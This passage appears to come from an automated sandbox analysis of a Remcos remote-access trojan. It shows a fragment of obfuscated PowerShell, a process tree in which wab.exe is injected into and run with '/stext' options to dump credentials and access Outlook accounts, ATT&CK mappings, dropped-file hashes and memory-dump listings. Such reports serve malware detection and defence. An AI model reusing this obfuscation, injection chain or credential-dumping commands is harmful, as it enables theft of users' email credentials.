AllotriAlteratnRevidergStorcir(Extrabu$UdbredeBPaandteiTelefo.b LnudvilheteropiVulgarioUna.atimEmi sioa MofussnTanglesi Accidestrussen,mancipi$FourthlRKvadrateCtosli.hRvhulleu Solecim psigelaHexosepnLini.reiEpidermzGeison,eParatesd.verskr)Noncl n ');Skildrerne $Reststraffenes;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4948
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Fejdede.ell && echo t"
      4⤵
      PID:2032
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetThreadContext
      Suspicious behavior: MapViewOfSection
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:1108
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\jguxtndwwka"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3100
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\maziugoxsssmpo"
        5⤵
        
        PID:3140
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\maziugoxsssmpo"
        5⤵
        Accesses Microsoft Outlook accounts
        
        PID:1420
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\wceauyzrgakyaumvx"
        5⤵
        
        PID:2244
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\wceauyzrgakyaumvx"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4812

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

logs.dat

Path C:\ProgramData\remcos\logs.dat
Size 144B
SHA256 da00d1c1d31ea37af18b5a4b809fd1bf1f0be1fc3e9fd4b31491360ffbc20a5c
MD5 cc0b9a5eae042d2a8b19513517d013b3
SHA1 fbfc0e4e0743e3cbcbb4b2c870e631b60939c69c
SHA512 e3320e4aaa8e480a50fabb3b4bde54336a3cbe39382b4efa367c5e894754316ef1b888fc3c52540769b216f6f9027b9d2e28c7263903bf81aad0bc62504186cb
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_r4iwnrwy.1u0.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_r4iwnrwy.1u0.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

jguxtndwwka

Path C:\Users\Admin\AppData\Local\Temp\jguxtndwwka
Size 4KB
SHA256 01fc52f877352f6252d3d9351993fc35d7b6b0051ac6d3146184e12f9bc6e704
MD5 135c60fadfa99b241d9109417db8b53c
SHA1 b73785818a32e8d84bb55c02ccdc3d546a615526
SHA512 76812b91e51f1a206e3829b44cf13ee4cc4e5e90d88c0b0b3755b1e092eee26e6a4b18ef038a311a9443dab138761ff45fdd18145931207764c2355047611f51
SSDEEP 48:wvvv0ExfvvcExfdvv0ExBvv0Exakvv0E7:mvtxvVp1vtPvtbvt7
MD5 SHA1 SHA512 SSDEEP

Submit Download

Fejdede.ell

Path C:\Users\Admin\AppData\Roaming\Fejdede.ell
Size 448KB
SHA256 095eb2a212ec912605cdcde4deb442b7539c0724c868eb9fd6e1ddc7d3381620
MD5 e3cab8d063e34c00e20f8471c7139f8a
SHA1 3989a2c4b539e6dac33fda4c13f980fb46c24537
SHA512 e8fcbebe748aaa6355eb8190e1f42c96da946f1a87abb4051c2914ccd9f3c8a70c521a9c26c5f37f76c70e6482fd162cfdbeae5b7c876c7eddad497ccba36512
SSDEEP 12288:YJx+XiX6EVg2riq3BpFxfBdxPadN1RQtoNTiX4e:Y/+4Vg0X3tadHRQt8mR
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1108-81-0x0000000000840000-0x0000000001A94000-memory.dmp

Download

memory/1108-75-0x000000001F3C0000-0x000000001F3D9000-memory.dmp

Download

memory/1108-93-0x0000000000840000-0x0000000001A94000-memory.dmp

Download

memory/1108-90-0x0000000000840000-0x0000000001A94000-memory.dmp

Download

memory/1108-87-0x0000000000840000-0x0000000001A94000-memory.dmp

Download

memory/1108-84-0x0000000000840000-0x0000000001A94000-memory.dmp

Download

memory/1108-47-0x0000000000840000-0x0000000001A94000-memory.dmp

Download

memory/1108-99-0x0000000000840000-0x0000000001A94000-memory.dmp

Download

memory/1108-78-0x0000000000840000-0x0000000001A94000-memory.dmp

Download

memory/1108-96-0x0000000000840000-0x0000000001A94000-memory.dmp

Download

memory/1108-74-0x000000001F3C0000-0x000000001F3D9000-memory.dmp

Download

memory/1108-71-0x000000001F3C0000-0x000000001F3D9000-memory.dmp

Download

memory/1108-102-0x0000000000840000-0x0000000001A94000-memory.dmp

Download

memory/1108-46-0x0000000000840000-0x0000000001A94000-memory.dmp

Download

memory/1108-105-0x0000000000840000-0x0000000001A94000-memory.dmp

Download

memory/1108-56-0x0000000000840000-0x0000000001A94000-memory.dmp

Download

memory/1420-65-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/1420-60-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/1420-68-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/1880-53-0x00007FFB16100000-0x00007FFB16BC1000-memory.dmp

Download

memory/1880-4-0x00007FFB16103000-0x00007FFB16105000-memory.dmp

Download

memory/1880-43-0x00007FFB16103000-0x00007FFB16105000-memory.dmp

Download

memory/1880-44-0x00007FFB16100000-0x00007FFB16BC1000-memory.dmp

Download

memory/1880-5-0x000001EA7DD70000-0x000001EA7DD92000-memory.dmp

Download

memory/1880-15-0x00007FFB16100000-0x00007FFB16BC1000-memory.dmp

Download

memory/1880-16-0x00007FFB16100000-0x00007FFB16BC1000-memory.dmp

Download

memory/3100-58-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/3100-59-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/3100-57-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/4812-67-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/4812-66-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/4812-64-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/4948-38-0x0000000007500000-0x0000000007596000-memory.dmp

Download

memory/4948-22-0x0000000005420000-0x0000000005486000-memory.dmp

Download

memory/4948-36-0x0000000007A80000-0x00000000080FA000-memory.dmp

Download

memory/4948-35-0x0000000006280000-0x00000000062CC000-memory.dmp

Download

memory/4948-34-0x0000000006230000-0x000000000624E000-memory.dmp

Download

memory/4948-33-0x0000000005E50000-0x00000000061A4000-memory.dmp

Download

memory/4948-23-0x0000000005C00000-0x0000000005C66000-memory.dmp

Download

memory/4948-37-0x00000000067A0000-0x00000000067BA000-memory.dmp

Download

memory/4948-21-0x0000000005380000-0x00000000053A2000-memory.dmp

Download

memory/4948-20-0x00000000054E0000-0x0000000005B08000-memory.dmp

Download

memory/4948-19-0x0000000002910000-0x0000000002946000-memory.dmp

Download

memory/4948-39-0x0000000007490000-0x00000000074B2000-memory.dmp

Download

memory/4948-40-0x00000000086B0000-0x0000000008C54000-memory.dmp

Download

memory/4948-42-0x0000000008C60000-0x000000000AD9A000-memory.dmp

Download